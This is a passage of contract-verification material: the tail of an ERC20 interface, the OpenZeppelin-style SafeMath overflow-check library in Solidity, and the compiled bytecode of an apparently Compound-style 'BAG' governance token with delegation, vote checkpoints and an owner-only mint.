`owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e14610501578063e7a324dc1461052f578063f1127ed814610537578063f2fde38b1461058957610173565b8063a9059cbb14610468578063b4b5ea5714610494578063c3cda520146104ba57610173565b8063715018a6146103d2578063782d6fe1146103da5780637ecebe00146104065780638da5cb5b1461042c57806395d89b4114610434578063a457c2d71461043c57610173565b8063395093511161013057806339509351146102ab57806340c10f19146102d7578063587cde1e146103055780635c19a95c146103475780636fcfff451461036d57806370a08231146103ac57610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806320606b701461024f57806323b872dd14610257578063313ce5671461028d575b600080fd5b6101806105af565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610645565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b61023d610669565b6102216004803603606081101561026d57600080fd5b506001600160a01b0381358116916020810135909116906040013561068d565b610295610714565b6040805160ff9092168252519081900360200190f35b610221600480360360408110156102c157600080fd5b506001600160a01b03813516906020013561071d565b610303600480360360408110156102ed57600080fd5b506001600160a01b03813516906020013561076b565b005b61032b6004803603602081101561031b57600080fd5b50356001600160a01b0316610812565b604080516001600160a01b039092168252519081900360200190f35b6103036004803603602081101561035d57600080fd5b50356001600160a01b0316610830565b6103936004803603602081101561038357600080fd5b50356001600160a01b031661083d565b6040805163ffffffff9092168252519081900360200190f35b61023d600480360360208110156103c257600080fd5b50356001600160a01b0316610855565b610303610870565b61023d600480360360408110156103f057600080fd5b506001600160a01b038135169060200135610934565b61023d6004803603602081101561041c57600080fd5b50356001600160a01b0316610b3c565b61032b610b4e565b610180610b62565b6102216004803603604081101561045257600080fd5b506001600160a01b038135169060200135610bc3565b6102216004803603604081101561047e57600080fd5b506001600160a01b038135169060200135610c2b565b61023d600480360360208110156104aa57600080fd5b50356001600160a01b0316610c3f565b610303600480360360c08110156104d057600080fd5b506001600160a01b038135169060208101359060408101359060ff6060820135169060808101359060a00135610ca3565b61023d6004803603604081101561051757600080fd5b506001600160a01b0381358116916020013516610f16565b61023d610f41565b6105696004803603604081101561054d57600080fd5b5080356001600160a01b0316906020013563ffffffff16610f65565b6040805163ffffffff909316835260208301919091528051918290030190f35b6103036004803603602081101561059f57600080fd5b50356001600160a01b0316610f92565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063b5780601f106106105761010080835404028352916020019161063b565b820191906000526020600020905b81548152906001019060200180831161061e57829003601f168201915b5050505050905090565b60006106596106526110b2565b84846110b6565b5060015b92915050565b60025490565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b600061069a8484846111a2565b61070a846106a66110b2565b61070585604051806060016040528060288152602001611a00602891396001600160a01b038a166000908152600160205260408120906106e46110b2565b6001600160a01b0316815260208101919091526040016000205491906112fd565b6110b6565b5060019392505050565b60055460ff1690565b600061065961072a6110b2565b84610705856001600061073b6110b2565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611394565b6107736110b2565b6001600160a01b0316610784610b4e565b6001600160a01b0316146107df576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6107e982826113ee565b6001600160a01b0380831660009081526006602052604081205461080e9216836114de565b5050565b6001600160a01b039081166000908152600660205260409020541690565b61083a3382611620565b50565b60086020526000908152604090205463ffffffff1681565b6001600160a01b031660009081526020819052604090205490565b6108786110b2565b6001600160a01b0316610889610b4e565b6001600160a01b0316146108e4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60004382106109745760405162461bcd60e51b81526004018080602001828103825260268152602001806119826026913960400191505060405180910390fd5b6001600160a01b03831660009081526008602052604090205463ffffffff16806109a257600091505061065d565b6001600160a01b038416600090815260076020908152604080832063ffffffff600019860181168552925290912054168310610a11576001600160a01b03841660009081526007602090815260408083206000199490940163ffffffff1683529290522060010154905061065d565b6001600160a01b038416600090815260076020908152604080832083805290915290205463ffffffff16831015610a4c57600091505061065d565b600060001982015b8163ffffffff168163ffffffff161115610b0557600282820363ffffffff16048103610a7e6118d9565b506001600160a01b038716600090815260076020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915290871415610ae05760200151945061065d9350505050565b805163ffffffff16871115610af757819350610afe565b6001820392505b5050610a54565b506001600160a01b038516600090815260076020908152604080832063ffffffff9094168352929052206001015491505092915050565b60096020526000908152604090205481565b60055461010090046001600160a01b031690565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063b5780601f106106105761010080835404028352916020019161063b565b6000610659610bd06110b2565b8461070585604051806060016040528060258152602001611ab76025913960016000610bfa6110b2565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906112fd565b6000610659610c386110b2565b84846111a2565b6001600160a01b03811660009081526008602052604081205463ffffffff1680610c6a576000610c9c565b6001600160a01b038316600090815260076020908152604080832063ffffffff60001986011684529091529020600101545b9392505050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866610cce6105af565b80519060200120610cdd6116b5565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a9052825180850390910181526101408401835280519085012061190160f01b6101608501526101628401829052610182808501829052835180860390910181526101a285018085528151918701919091206000918290526101c2860180865281905260ff8b166101e287015261020286018a90526102228601899052935192965090949293909260019261024280840193601f198301929081900390910190855afa158015610e10573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610e625760405162461bcd60e51b8152600401808060200182810382526025815260200180611a286025913960400191505060405180910390fd5b6001600160a01b03811660009081526009602052604090208054600181019091558914610ec05760405162461bcd60e51b8152600401808060200182810382526021815260200180611a4d6021913960400191505060405180910390fd5b87421115610eff5760405162461bcd60e51b81526004018080602001828103825260258152602001806119a86025913960400191505060405180910390fd5b610f09818b611620565b505050505b505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b60076020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b610f9a6110b2565b6001600160a01b0316610fab610b4e565b6001600160a01b031614611006576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661104b5760405162461bcd60e51b81526004018080602001828103825260268152602001806119146026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3390565b6001600160a01b0383166110fb5760405162461bcd60e51b8152600401808060200182810382526024815260200180611a936024913960400191505060405180910390fd5b6001600160a01b0382166111405760405162461bcd60e51b815260040180806020018281038252602281526020018061193a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166111e75760405162461bcd60e51b8152600401808060200182810382526025815260200180611a6e6025913960400191505060405180910390fd5b6001600160a01b03821661122c5760405162461bcd60e51b81526004018080602001828103825260238152602001806118f16023913960400191505060405180910390fd5b61123783838361161b565b6112748160405180606001604052806026815260200161195c602691396001600160a01b03861660009081526020819052604090205491906112fd565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546112a39082611394565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000818484111561138c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611351578181015183820152602001611339565b50505050905090810190601f16801561137e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610c9c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b038216611449576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6114556000838361161b565b6002546114629082611394565b6002556001600160a01b0382166000908152602081905260409020546114889082611394565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b816001600160a01b0316836001600160a01b0316141580156115005750600081115b1561161b576001600160a01b03831615611592576001600160a01b03831660009081526008602052604081205463ffffffff169081611540576000611572565b6001600160a01b038516600090815260076020908152604080832063ffffffff60001987011684529091529020600101545b9050600061158082856116b9565b905061158e86848484611716565b5050505b6001600160a01b0382161561161b576001600160a01b03821660009081526008602052604081205463ffffffff1690816115cd5760006115ff565b6001600160a01b038416600090815260076020908152604080832063ffffffff60001987011684529091529020600101545b9050600061160d8285611394565b9050610f0e85848484611716565b505050565b6001600160a01b038083166000908152600660205260408120549091169061164784610855565b6001600160a01b0385811660008181526006602052604080822080546001600160a01b031916898616908117909155905194955093928616927f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46116af8284836114de565b50505050565b4690565b600082821115611710576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600061173a436040518060600160405280603381526020016119cd6033913961187b565b905060008463ffffffff1611801561178357506001600160a01b038516600090815260076020908152604080832063ffffffff6000198901811685529252909120548282169116145b156117c0576001600160a01b038516600090815260076020908152604080832063ffffffff60001989011684529091529020600101829055611831565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600784528681208b8616825284528681209551865490861663ffffffff19918216178755925160019687015590815260089092529390208054928801909116919092161790555b604080518481526020810184905281516001600160a01b038816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b60008164010000000084106118d15760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611351578181015183820152602001611339565b509192915050565b60408051808201909152600080825260208201529056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654241473a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e65644241473a3a64656c656761746542795369673a207369676e617475726520657870697265644241473a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654241473a3a64656c656761746542795369673a20696e76616c6964207369676e61747572654241473a3a64656c656761746542795369673a20696e76616c6964206e6f6e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122015fdff2d3f9a5a98431da00eeb17c94a2eb77d6a1f6ecfa853fbe4920c4cbfdd64736f6c634300060c0033
[ 9 ]